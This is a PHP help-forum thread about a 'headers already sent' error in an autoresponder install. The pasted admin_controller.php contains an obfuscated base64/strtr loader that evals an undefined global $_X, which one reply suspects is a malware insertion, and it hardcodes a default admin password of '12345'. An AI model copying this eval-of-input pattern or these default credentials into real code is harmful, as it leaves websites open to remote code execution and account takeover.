oldwizard Posted September 23, 2015 Share Posted September 23, 2015 Can anyone help me with this? i´m trying to install a autoresponder on my website and after i run the installer i get this message and not the login page. Any suggestions? Message: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/awsomesuperfoods/public_html/responder/application/libraries/admin_controller.php:15) Filename: core/MY_Controller.php(1) : eval()'d code(3) : eval()'d code Line Number: 16 Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/ Share on other sites More sharing options...
Psycho Posted September 23, 2015 Share Posted September 23, 2015 The message is as it says. Content has already been sent to the browser (e.g. echo/print or anything not within PHP tags). Look at file admin_controller.php (post the first 20 lines if you want feedback on it). The headers for a page request must be sent before the content. The headers contain information for the browser on how to handle the page. After content for the page starts, the browser is already committed to how it will handle the page (either with the headers that were already sent or using defaults). So, you need to go through any logic that may determine any header output without outputting any content. You can store potential content within a variable for output later. Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/#findComment-1521413 Share on other sites More sharing options...
oldwizard Posted September 23, 2015 Author Share Posted September 23, 2015 Hey thank you Psycho, but i did not understand that much of php to know what you just explained, but i will post the code for admin_controller.php and ask for help to solve this thing. <?php /** * * @ Universal Decoder PHP 5.2 * @ By Ps2Gamer * @ http://decodeby.us * */ $_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA [d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS .BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0; ?> <?php /** * * @ Universal Decoder PHP 5.2 * @ By Ps2Gamer * @ http://decodeby.us * */ ?><?php if (! defined('BASEPATH')) exit('No direct script access allowed'); class Admin_Controller extends App_Controller { const DEFAULT_ADMIN_USER_NAME = 'admin'; const DEFAULT_ADMIN_PASSWORD = '12345'; const PAGE_TEMPLATE = 'admin/admin_template'; const PAGE_TEMPLATE_HEADER = 'admin/admin_template_header'; const PAGE_MENU = 'admin/admin_menu'; const PAGE_MENUSTRIP = 'admin/admin_menu_strip'; const PAGE_MENUSTRIP_NO_HEADER = 'admin/admin_menu_strip_no_header'; const VIEW_HEADER = 'admin/admin_view_header'; const VIEW_SUB_MENU = 'admin/admin_view_sub_menu'; const VIEW_ERRORS = 'admin/admin_view_errors'; const FAILSAFE_KEY_LENGTH = 16; const FAILSAFE_GET_VAR = 'fsk'; const VIEW_PREVIEW = 'admin/admin_view_preview'; const VIEW_SPAM_REPORT = 'admin_spam_report'; const VIEW_GAUGE = 'admin/admin_view_gauge'; const FIELD_HINT_SCRIPT = 'static/hint/hint.php'; const DEFAULT_THEME = 'standard'; private $_language; private $_actions = array(); private $_hub_urls = array(); private $_user = NULL; private $_notify_message = ''; private $_notify_type = 'info'; private $_custom_notify_success = ''; private $_ticker; protected $enable_backup_cleanup = TRUE; protected $permission_enum = ''; protected $permission_key = ''; protected $permission_redirect = TRUE; protected $page_template = ''; protected $obj = NULL; protected $parent = NULL; protected $view = ''; protected $view_title = ''; protected $view_icon = ''; protected $show_view_header = TRUE; protected $list_action = ''; protected $delete_list_action = ''; protected $total_records = 0; protected $matching_records = 0; protected $max_pages = 0; protected $current_page = 0; protected $item_count = 0; protected $list_items = array(); protected $list_actions = array(); protected $order_fields = array(); protected $order_by = 'NONE'; protected $order_type = 'ASC'; protected $sub_menu = array(); protected $form_action = ''; protected $cancel_action = ''; protected $submit = ''; protected $submit_class = ''; protected $success_action = ''; protected $success_redirect = ''; protected $success_redirect_add_id = FALSE; protected $error_redirect = ''; protected $view_errors = array(); protected $extra_display_data = array(); protected $preview_action = ''; protected $preview_text = ''; protected $preview_html = ''; protected $view_warning = ''; protected $view_info_left = ''; protected $view_info_right = ''; protected $filter_types = array(); protected $filter_type = 0; protected $filter_value = 0; protected $field_hint_library = ''; Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/#findComment-1521421 Share on other sites More sharing options...
Psycho Posted September 23, 2015 Share Posted September 23, 2015 (edited) Let me state it simply. You cannot send/set headers if any output has been made to the browser. The includes echo/print statements as well as any content not within PHP tags. In the code you just posted there is such content: $_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA [d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS .BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0; ?> <<== this would be output to the browser of at least two line breaks characters! <?php /** * * @ Universal Decoder PHP 5.2 Let me also try to again explain WHY this is the case. Your browser uses the headers to determine how to handle the content that it will be sent. It may be an HTML page, a download, a PDF, etc. The browser will do different things for each of those situations. If the browser receives headers that it will be sent an HTML page, but is instead sent a PDF file you will see a lot of "junk" displayed in the browser. That is why the headers must all be sent before any content is sent. As soon as any content is detected by the browser (even a space or line break) it has to commit to how it will process that content. Edited September 23, 2015 by Psycho Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/#findComment-1521427 Share on other sites More sharing options...
oldwizard Posted September 23, 2015 Author Share Posted September 23, 2015 So how can i fix it? this is the code from the software, i did not mess with it, it should work properly. Can you give me an example on how to fix this? Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/#findComment-1521430 Share on other sites More sharing options...
hansford Posted September 23, 2015 Share Posted September 23, 2015 Put all of that code between a single pair of php tags. Place the opening tag at the beginning of the file. Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/#findComment-1521434 Share on other sites More sharing options...
oldwizard Posted September 23, 2015 Author Share Posted September 23, 2015 do you mean like this? <?php /** * * @ Universal Decoder PHP 5.2 * @ By Ps2Gamer * @ http://decodeby.us * */ <?php $_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA [d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS .BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0; ?> <?php /** * * @ Universal Decoder PHP 5.2 * @ By Ps2Gamer * @ http://decodeby.us * */ the login page is not there, nothing is there just a blank page Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/#findComment-1521436 Share on other sites More sharing options...
dalecosp Posted September 23, 2015 Share Posted September 23, 2015 No, like this: <?php //everything goes here, no more <?php or ?> until after the header() calls, wherever they are. Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/#findComment-1521441 Share on other sites More sharing options...
dalecosp Posted September 23, 2015 Share Posted September 23, 2015 Incidentally, if you're not sure what this software is doing, I'm not sure I'd put it on the WWW. The base64 string looks a little like an attempted malware insertion. Probably not a very good one ... it depends on register_globals(), by the look of it.... Quote Link to comment https://forums.phpfreaks.com/topic/298290-message-session_start/#findComment-1521442 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.